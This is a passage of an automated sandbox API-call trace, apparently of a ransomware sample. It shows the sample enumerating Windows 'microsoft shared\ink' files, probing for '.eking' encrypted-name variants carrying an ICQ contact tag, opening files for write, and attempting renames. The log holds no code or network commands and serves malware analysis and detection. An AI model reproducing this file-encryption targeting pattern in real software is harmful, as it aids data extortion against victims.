lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.323] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2644) returned 1 [0287.323] CloseHandle (hObject=0x2e4) returned 1 [0287.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0287.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0287.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.324] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2542) returned 1 [0287.324] CloseHandle (hObject=0x2e4) returned 1 [0287.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0287.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0287.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.325] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2568) returned 1 [0287.325] CloseHandle (hObject=0x2e4) returned 1 [0287.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0287.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0287.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.326] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2596) returned 1 [0287.326] CloseHandle (hObject=0x2e4) returned 1 [0287.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0287.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0287.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.327] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2520) returned 1 [0287.327] CloseHandle (hObject=0x2e4) returned 1 [0287.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0287.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0287.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.328] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2720) returned 1 [0287.328] CloseHandle (hObject=0x2e4) returned 1 [0287.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0287.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0287.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.329] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10752) returned 1 [0287.329] CloseHandle (hObject=0x2e4) returned 1 [0287.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0287.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0287.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.330] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=7680) returned 1 [0287.330] CloseHandle (hObject=0x2e4) returned 1 [0287.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0287.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0287.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.333] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=7680) returned 1 [0287.333] CloseHandle (hObject=0x2e4) returned 1 [0287.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0287.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0287.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.335] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=763) returned 1 [0287.335] CloseHandle (hObject=0x2e4) returned 1 [0287.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0287.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0287.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.336] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10240) returned 1 [0287.336] CloseHandle (hObject=0x2e4) returned 1 [0287.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0287.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0287.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.338] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10240) returned 1 [0287.338] CloseHandle (hObject=0x2e4) returned 1 [0287.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0287.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0287.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.394] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1700352) returned 1 [0287.394] CloseHandle (hObject=0x2e4) returned 1 [0287.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0287.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0287.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0287.395] SetEvent (hEvent=0x2a0) returned 1 [0287.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.396] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1086464) returned 1 [0287.396] CloseHandle (hObject=0x2e4) returned 1 [0287.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0287.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0287.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.397] SetEvent (hEvent=0x2a0) returned 1 [0287.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.398] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=22016) returned 1 [0287.398] CloseHandle (hObject=0x2e4) returned 1 [0287.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0287.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0287.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.399] SetEvent (hEvent=0x2a0) returned 1 [0287.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.400] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1053184) returned 1 [0287.400] CloseHandle (hObject=0x2e4) returned 1 [0287.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0287.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0287.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.401] SetEvent (hEvent=0x2a0) returned 1 [0287.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.402] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=647584) returned 1 [0287.402] CloseHandle (hObject=0x2e4) returned 1 [0287.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft 